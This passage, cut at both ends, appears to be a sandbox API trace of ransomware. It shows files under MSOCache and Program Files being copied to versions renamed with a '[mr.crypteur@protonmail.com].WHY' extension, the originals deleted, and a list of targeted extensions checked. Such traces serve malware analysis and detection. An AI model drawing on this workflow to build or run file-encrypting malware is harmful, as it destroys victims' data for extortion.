returned 0x1a0 [0068.733] GetLastError () returned 0x0 [0068.733] ReadFile (in: hFile=0x200, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x1915, lpOverlapped=0x0) returned 1 [0068.835] WriteFile (in: hFile=0x1a0, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0x1920, lpOverlapped=0x0) returned 1 [0068.838] ReadFile (in: hFile=0x200, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x0, lpOverlapped=0x0) returned 1 [0068.838] WriteFile (in: hFile=0x1a0, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0xee, lpOverlapped=0x0) returned 1 [0068.839] SetEndOfFile (hFile=0x1a0) returned 1 [0068.839] CloseHandle (hObject=0x1a0) returned 1 [0068.842] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0068.842] SetEndOfFile (hFile=0x200) returned 1 [0068.844] CloseHandle (hObject=0x200) returned 1 [0068.845] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0069.018] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 1 [0069.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0069.317] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0069.317] lstrlenW (lpString=".doc") returned 4 [0069.317] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.317] lstrlenW (lpString=".docx") returned 5 [0069.317] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0069.317] lstrlenW (lpString=".pdf") returned 4 [0069.317] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.317] lstrlenW (lpString=".xls") returned 4 [0069.317] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.317] lstrlenW (lpString=".xlsx") returned 5 [0069.318] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0069.318] lstrlenW (lpString=".ppt") returned 4 [0069.318] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0069.318] lstrlenW (lpString=".zip") returned 4 [0069.318] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.318] lstrlenW (lpString=".rar") returned 4 [0069.318] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.318] lstrlenW (lpString=".bz2") returned 4 [0069.318] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.318] lstrlenW (lpString=".7z") returned 3 [0069.318] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0069.318] lstrlenW (lpString=".dbf") returned 4 [0069.318] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0069.319] lstrlenW (lpString=".1cd") returned 4 [0069.319] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0069.319] lstrlenW (lpString=".jpg") returned 4 [0069.319] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0069.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0069.319] lstrlenW (lpString=".doc") returned 4 [0069.319] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.319] lstrlenW (lpString=".docx") returned 5 [0069.319] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0069.319] lstrlenW (lpString=".pdf") returned 4 [0069.320] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.320] lstrlenW (lpString=".xls") returned 4 [0069.320] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.320] lstrlenW (lpString=".xlsx") returned 5 [0069.320] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0069.320] lstrlenW (lpString=".ppt") returned 4 [0069.320] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.320] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0069.320] lstrlenW (lpString=".zip") returned 4 [0069.320] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.320] lstrlenW (lpString=".rar") returned 4 [0069.320] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.320] lstrlenW (lpString=".bz2") returned 4 [0069.320] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.320] lstrlenW (lpString=".7z") returned 3 [0069.320] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0069.321] lstrlenW (lpString=".dbf") returned 4 [0069.321] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0069.321] lstrlenW (lpString=".1cd") returned 4 [0069.321] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0069.321] lstrlenW (lpString=".jpg") returned 4 [0069.321] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.321] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0069.321] lstrlenW (lpString="VisiorWW.xml") returned 12 [0069.322] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0071.104] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=8723) returned 1 [0071.104] CloseHandle (hObject=0x1d0) returned 1 [0071.104] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 0x2020 [0071.104] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0071.104] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0071.105] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0071.105] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0071.105] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0071.106] GetLastError () returned 0x0 [0071.106] ReadFile (in: hFile=0x1d0, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x2213, lpOverlapped=0x0) returned 1 [0071.110] WriteFile (in: hFile=0x1a0, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0x2220, lpOverlapped=0x0) returned 1 [0071.113] ReadFile (in: hFile=0x1d0, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x0, lpOverlapped=0x0) returned 1 [0071.113] WriteFile (in: hFile=0x1a0, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0071.114] SetEndOfFile (hFile=0x1a0) returned 1 [0071.114] CloseHandle (hObject=0x1a0) returned 1 [0071.116] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0071.116] SetEndOfFile (hFile=0x1d0) returned 1 [0071.119] CloseHandle (hObject=0x1d0) returned 1 [0071.119] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0071.119] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 1 [0071.120] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0071.120] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0071.120] lstrlenW (lpString=".doc") returned 4 [0071.120] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.120] lstrlenW (lpString=".docx") returned 5 [0071.120] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0071.120] lstrlenW (lpString=".pdf") returned 4 [0071.120] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.120] lstrlenW (lpString=".xls") returned 4 [0071.120] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.120] lstrlenW (lpString=".xlsx") returned 5 [0071.120] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0071.121] lstrlenW (lpString=".ppt") returned 4 [0071.121] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0071.122] lstrlenW (lpString=".zip") returned 4 [0071.122] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.122] lstrlenW (lpString=".rar") returned 4 [0071.122] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.122] lstrlenW (lpString=".bz2") returned 4 [0071.122] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.122] lstrlenW (lpString=".7z") returned 3 [0071.122] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0071.122] lstrlenW (lpString=".dbf") returned 4 [0071.122] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0071.123] lstrlenW (lpString=".1cd") returned 4 [0071.123] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0071.123] lstrlenW (lpString=".jpg") returned 4 [0071.123] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0071.124] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0071.124] lstrlenW (lpString=".doc") returned 4 [0071.124] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.124] lstrlenW (lpString=".docx") returned 5 [0071.124] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0071.124] lstrlenW (lpString=".pdf") returned 4 [0071.124] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.124] lstrlenW (lpString=".xls") returned 4 [0071.124] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.124] lstrlenW (lpString=".xlsx") returned 5 [0071.124] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0071.124] lstrlenW (lpString=".ppt") returned 4 [0071.124] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.125] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0071.125] lstrlenW (lpString=".zip") returned 4 [0071.125] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.125] lstrlenW (lpString=".rar") returned 4 [0071.125] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.125] lstrlenW (lpString=".bz2") returned 4 [0071.125] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.125] lstrlenW (lpString=".7z") returned 3 [0071.125] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.125] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0071.125] lstrlenW (lpString=".dbf") returned 4 [0071.125] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.125] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0071.125] lstrlenW (lpString=".1cd") returned 4 [0071.126] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.126] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0071.126] lstrlenW (lpString=".jpg") returned 4 [0071.126] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.126] lstrcmpiW (lpString1=".PNG", lpString2=".WHY") returned -1 [0071.126] lstrlenW (lpString="MS.PNG") returned 6 [0071.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0071.171] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=1682) returned 1 [0071.171] CloseHandle (hObject=0x1d0) returned 1 [0071.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20 [0071.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0071.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0071.171] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0071.171] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0071.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0071.172] GetLastError () returned 0x0 [0071.172] ReadFile (in: hFile=0x1d0, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x692, lpOverlapped=0x0) returned 1 [0071.177] WriteFile (in: hFile=0x1a0, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0x6a0, lpOverlapped=0x0) returned 1 [0071.179] ReadFile (in: hFile=0x1d0, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x0, lpOverlapped=0x0) returned 1 [0071.179] WriteFile (in: hFile=0x1a0, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0xe0, lpOverlapped=0x0) returned 1 [0071.180] SetEndOfFile (hFile=0x1a0) returned 1 [0071.180] CloseHandle (hObject=0x1a0) returned 1 [0071.181] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0071.182] SetEndOfFile (hFile=0x1d0) returned 1 [0071.184] CloseHandle (hObject=0x1d0) returned 1 [0071.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0071.488] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 1 [0071.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0071.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0071.489] lstrlenW (lpString=".doc") returned 4 [0071.489] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0071.490] lstrlenW (lpString=".docx") returned 5 [0071.490] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0071.490] lstrlenW (lpString=".pdf") returned 4 [0071.490] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0071.490] lstrlenW (lpString=".xls") returned 4 [0071.490] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0071.490] lstrlenW (lpString=".xlsx") returned 5 [0071.490] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0071.490] lstrlenW (lpString=".ppt") returned 4 [0071.490] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0071.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0071.490] lstrlenW (lpString=".zip") returned 4 [0071.490] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0071.491] lstrlenW (lpString=".rar") returned 4 [0071.491] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0071.491] lstrlenW (lpString=".bz2") returned 4 [0071.491] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0071.491] lstrlenW (lpString=".7z") returned 3 [0071.491] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0071.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0071.491] lstrlenW (lpString=".dbf") returned 4 [0071.491] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0071.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0071.491] lstrlenW (lpString=".1cd") returned 4 [0071.491] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0071.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0071.492] lstrlenW (lpString=".jpg") returned 4 [0071.492] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0071.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0071.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0071.492] lstrlenW (lpString=".doc") returned 4 [0071.492] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0071.492] lstrlenW (lpString=".docx") returned 5 [0071.492] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0071.492] lstrlenW (lpString=".pdf") returned 4 [0071.492] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0071.492] lstrlenW (lpString=".xls") returned 4 [0071.492] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0071.492] lstrlenW (lpString=".xlsx") returned 5 [0071.492] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0071.492] lstrlenW (lpString=".ppt") returned 4 [0071.493] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0071.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0071.493] lstrlenW (lpString=".zip") returned 4 [0071.493] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0071.493] lstrlenW (lpString=".rar") returned 4 [0071.493] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0071.493] lstrlenW (lpString=".bz2") returned 4 [0071.493] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0071.493] lstrlenW (lpString=".7z") returned 3 [0071.493] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0071.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0071.493] lstrlenW (lpString=".dbf") returned 4 [0071.493] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0071.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0071.494] lstrlenW (lpString=".1cd") returned 4 [0071.494] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0071.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0071.494] lstrlenW (lpString=".jpg") returned 4 [0071.494] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0071.536] lstrcmpiW (lpString1=".avi", lpString2=".WHY") returned -1 [0071.536] lstrlenW (lpString="boxed-split.avi") returned 15 [0071.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0072.098] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=62976) returned 1 [0072.098] CloseHandle (hObject=0x1a4) returned 1 [0072.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0072.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0072.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0072.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0072.099] lstrlenW (lpString=".doc") returned 4 [0072.099] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0072.099] lstrlenW (lpString=".docx") returned 5 [0072.099] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0072.099] lstrlenW (lpString=".pdf") returned 4 [0072.099] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0072.099] lstrlenW (lpString=".xls") returned 4 [0072.099] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0072.099] lstrlenW (lpString=".xlsx") returned 5 [0072.099] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0072.099] lstrlenW (lpString=".ppt") returned 4 [0072.099] lstrcmpiW 